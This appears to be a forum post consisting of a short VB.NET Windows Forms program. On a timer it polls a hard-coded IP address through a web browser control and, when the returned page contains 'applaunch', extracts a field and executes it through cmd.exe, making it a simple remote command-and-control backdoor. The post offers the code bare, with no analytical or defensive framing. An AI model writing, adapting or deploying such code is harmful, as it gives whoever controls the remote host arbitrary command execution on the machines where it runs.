- Apr 25, 2015
- 1,845
- 2
- 2,199
- 327
Code:
Public Class Form1
Dim whatCommand As String
Dim doWhat As String
Private Sub wbCommand_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles wbCommand.DocumentCompleted
If whatCommand = wbCommand.DocumentText Then
Exit Sub
End If
whatCommand = wbCommand.DocumentText
If whatCommand.Contains("applaunch") Then
doWhat = whatCommand.Split("||")(2)
Shell("cmd.exe /k " + doWhat + "&& exit")
End If
End Sub
Private Sub tmrRefresh_Tick(sender As Object, e As EventArgs) Handles tmrRefresh.Tick
wbCommand.Navigate("http://108.61.157.109")
End Sub
End Class